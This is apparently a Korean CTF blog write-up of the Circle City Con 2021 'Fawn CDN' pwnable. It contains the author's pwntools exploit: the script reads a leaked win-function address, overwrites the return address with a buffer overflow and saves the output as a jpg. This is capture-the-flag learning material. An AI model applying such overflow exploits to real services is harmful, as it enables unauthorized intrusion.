2021 Circle City Con CTF

728x90
f = open('tmp.jpg', 'w')

tmp = p.recvuntil('1. List files.')
f.write(tmp)

f.close()

pwnable

win까지 호출하는데는 성공했지만

이부분에서 막힘..

 

저부분에서 fwrite가 호출되면

이런 값이 나오는데 이 값을 jpg로 변환하는 것을 못하겠다..

+++++++++++++++++++++++++++++++++++++++++++++++

2021.06.19에 추가한 내용

https://jiravvit.tistory.com/entry/Circle-City-Con-CTF-2021-pwnable-Baby-Fawn-CDN-%ED%92%80%EC%9D%B4-overwriting?category=902325 

 

[Circle City Con CTF 2021 : pwnable] [Baby] Fawn CDN 풀이 (overwriting)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro Analysis Check Mitigation Execution & Code 1번 메뉴를 선택하면 무슨 주소를 출력해 준다. 이 주소는 IDA에서 확인한 결과, win함수의 주소임을 알 수..

jiravvit.tistory.com

 

위 블로그에서 해답을... 찾았다

위에서 찾은 fwrite 이후의 값을 전부 jpg로 바로 쓰면 나오는...

다 찾아놓고 저기서 막혀서 못푼 문제..

실제로는 이런 그림이 나온다고 한다

 

실제로 내가 작성했던 exploit

from pwn import *

p = remote('35.224.135.84', 1001)
e = ELF('./fawncdn')
libc = e.libc

#gdb.attach(p)
p.sendlineafter('cmd> ', str(1))
p.recvuntil('at ')
leak_addr = (int(p.recvuntil('"')[:-1], 16))
leak_libc = hex(leak_addr - (e.sym.win))

#print(type(leak_addr))
payload = b"A"*0x20
payload += b"B"*0x8
payload += p64(leak_addr)
p.sendlineafter(b'cmd> ', payload)

p.sendlineafter(b'cmd> ', str(3))
p.interactive()
~                                 

이상태로 출력하면 위 처럼 fwrite로 출력된 값이 나오는데, 그대로 입력 받아서

다음과 같이 추가하면 바로 나왔던 문제

f = open('tmp.jpg', 'w')

tmp = p.recvuntil('1. List files.')
f.write(tmp)

f.close()
728x90

'Pwnable' 카테고리의 다른 글

2018 아주대 사이버보안학과 ctf - babyuaf  (0) 2021.07.25
redpwnCTF 2021 - simultaneity write-up  (0) 2021.07.14
2021 THE CTF  (0) 2021.06.19
2021 HSCTF8  (0) 2021.06.19
2021 BCACTF 2.0  (0) 2021.06.12